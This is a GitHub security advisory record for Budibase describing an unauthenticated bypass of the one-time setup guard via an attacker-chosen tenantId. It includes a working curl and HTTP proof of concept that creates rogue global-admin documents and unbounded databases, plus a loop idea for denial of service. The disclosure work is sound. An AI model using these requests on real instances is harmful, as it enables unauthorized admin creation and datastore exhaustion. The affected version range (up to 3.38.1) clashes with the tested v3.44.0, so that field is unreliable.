{"id":"GHSA-25qc-m4pw-2w8r","summary":"Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)","details":"## Description\n\n### Summary\n\nOn a self-hosted, single-tenant Budibase instance (`multiTenancy:false`), the public bootstrap endpoint `POST /api/global/users/init` remains fully exploitable **after** the instance has been provisioned. Its \"already initialised\" guard (`checkAnyUserExists()`) is evaluated inside a **tenant-scoped** database context derived from an **attacker-controlled `tenantId`** in the request body. Because the tenancy layer never constrains that `tenantId` to the only legitimate tenant (`default`) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (`\u003ctenantId\u003e_global-db`) and a **global-admin** user document (`admin.global = true`, `builder.global = true`) inside it - with no authentication and no CSRF token.\n\nThis is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.\n\n### Details\n\nRoot cause chain (source, tag v3.44.0):\n\n1. `packages/worker/src/api/index.ts:41` - `POST /api/global/users/init` is in `PUBLIC_ENDPOINTS`, so `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` marks it `publicEndpoint` and the \"no public access to worker\" gate (`api/index.ts:159-165`) lets it through **without any session**. It is also in `NO_TENANCY_ENDPOINTS` (`api/index.ts:83`), so the tenancy middleware does **not** pin the request to `default` - the tenant is taken verbatim from the request body - and in `NO_CSRF_ENDPOINTS`.\n2. `packages/worker/src/middleware/cloudRestricted.ts:10,25` - the `cloudRestricted` guard only enforces the internal API key when `!env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL`. On a self-hosted instance (`SELF_HOSTED=true`) it is a **no-op** (`return next()`), so `cloudRestrictedRoutes` provides no protection here.\n3. `packages/worker/src/api/routes/global/users.ts:69-79` - `cloudRestrictedRoutes.post(\"/api/global/users/init\", … controller.adminUser)`.\n4. `packages/worker/src/api/controllers/global/users.ts:232` - the handler runs `await tenancy.doInTenant(tenantId, …)` using the **attacker-supplied** `tenantId`.\n5. `packages/worker/src/api/controllers/global/users.ts:238` - the only guard, `const userExists = await checkAnyUserExists()`, throws 403 only if a user exists **in the current tenant context**.\n6. `packages/worker/src/utilities/users.ts:3-15` - `checkAnyUserExists()` calls `tenancy.getGlobalDB()`, which resolves to `\u003ctenantId\u003e_global-db`. For any unused `tenantId` this DB is empty → the guard passes → `userSdk.db.createAdminUser(email, tenantId, …)` (`users.ts:247`) creates a full global admin.\n\nThe defect is **incorrect authorization scoping**: the single-tenant deployment invariant (\"only tenant `default` exists; init is one-time\") is never enforced against the request-supplied `tenantId`, so the guard is evaluated against a namespace the attacker chooses.\n\nConfiguration confirmed via `GET /api/system/environment` → `{\"multiTenancy\":false,\"cloud\":false,\"disableAccountPortal\":false,\"isDev\":false}`.\n\n### PoC\n\nTarget `http://127.0.0.1:3014` (Budibase `v3.44.0-cloud.2`). **No credentials, no cookies, no CSRF token.** All values real, captured live on 2026-09-02; nothing redacted.\n\n---\n\n#### Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (`default`)\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"pwn-default@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"default\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/users/init HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 82\n\n{\"email\":\"pwn-default@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"default\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"You cannot initialise once an global user has been created.\",\"status\":403}\n```\n\n---\n\n#### Step 2 - PAYLOAD: supply any unused `tenantId` → the guard is bypassed and a global admin is created, fully unauthenticated\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/users/init HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 78\n\n{\"email\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n{\"_id\":\"us_d0c2b6c9014a43e2899a2770d2e6280c\",\"_rev\":\"1-554ff75f0064fb15f92e341faad7263b\",\"email\":\"pwn-f7poc@evil.test\"}\n```\n\nThe single differential - `tenantId:\"default\"` → 403, `tenantId:\"f7poc\"` → 200 with a persisted `us_…` id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.\n\n---\n\n#### Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"pwn-f7pocb@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}'\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"You cannot initialise once an global user has been created.\",\"status\":403}\n```\n\nEach unique `tenantId` is a fresh write primitive - an attacker loops `tenantId=a0001,a0002,…` to create unbounded databases + admin docs (DoS).\n\n---\n\n#### Step 4 & 5 - datastore side-effect: a new `\u003ctenant\u003e_global-db` and a real global-admin document\n\nRead directly from CouchDB inside the container (`$COUCH_DB_URL` = `http://admin:…@127.0.0.1:5984`):\n\n```\nGET /_all_dbs =\u003e\n[\n \"app_cc322a9cd27a492eb934f43b146c6e81\",\n \"app_dev_cc322a9cd27a492eb934f43b146c6e81\",\n \"f7poc_global-db\",     \u003c-- created by the unauthenticated init call (tenantId=f7poc)\n \"global-db\"            \u003c-- legitimate default-tenant global DB\n]\n\nrogue DB 'f7poc_global-db' present: True\n```\n\nThe document created in `f7poc_global-db` is a full global admin:\n\n```json\n{\n  \"_id\": \"us_d0c2b6c9014a43e2899a2770d2e6280c\",\n  \"email\": \"pwn-f7poc@evil.test\",\n  \"admin\":   { \"global\": true },\n  \"builder\": { \"global\": true },\n  \"tenantId\": \"default\",\n  \"roles\": {}\n}\n```\n\n---\n\n#### Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\"}'\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"Invalid credentials\",\"status\":403}\n```\n\nWith `multiTenancy:false` the login flow forces the `default` tenant, so the injected admin is **not** usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).\n\n### Impact\n\n**Type:** Missing/incorrect authorization on a critical function - **unauthenticated bypass of the one-time initialization guard**, yielding anonymous global-admin-document and database creation.\n\n**Who is impacted:** every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can:\n- **defeat the first-run setup lock** that is supposed to be permanently closed after provisioning;\n- **create global-admin user documents** in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore);\n- **create an unbounded number of CouchDB databases** (`\u003crand\u003e_global-db`) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the `_dbs` metadata shard).","aliases":["CVE-2026-122247"],"modified":"2026-11-21T00:00:03.990701294Z","published":"2026-11-20T23:50:01Z","database_specific":{"cwe_ids":["CWE-284","CWE-306","CWE-770","CWE-863"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-20T23:50:01Z","nvd_published_at":"2026-11-20T17:18:08Z"},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-25qc-m4pw-2w8r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-122247"},{"type":"WEB","url":"https://github.com/Budibase/budibase/commit/362a7fe9aea594531ece1cf15be76cc00bfb88b9"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/v3.50.0"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/v4.0.0"}],"affected":[{"package":{"name":"@budibase/server","ecosystem":"npm","purl":"pkg:npm/%40budibase/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-25qc-m4pw-2w8r/GHSA-25qc-m4pw-2w8r.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}]}